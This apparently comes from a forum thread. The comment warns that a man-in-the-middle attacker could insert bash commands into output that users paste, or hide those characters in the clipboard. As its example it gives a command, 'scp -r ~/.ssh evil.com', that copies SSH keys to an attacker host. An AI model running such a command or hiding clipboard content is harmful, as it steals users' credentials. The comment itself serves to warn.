I assume they are saying that because you wouldn't want something where someone could do a MITM and insert arbitrary bash commands through $() or other similar things
If the outputted prompt contains something like `scp -r ~/.ssh evil.com`, folks may not notice or be savvy enough to recognize that it is malicious. A MITM attacker could quite easily implement this.
It's also possible to hide the characters entirely so they don't appear visually but are part of the clipboard.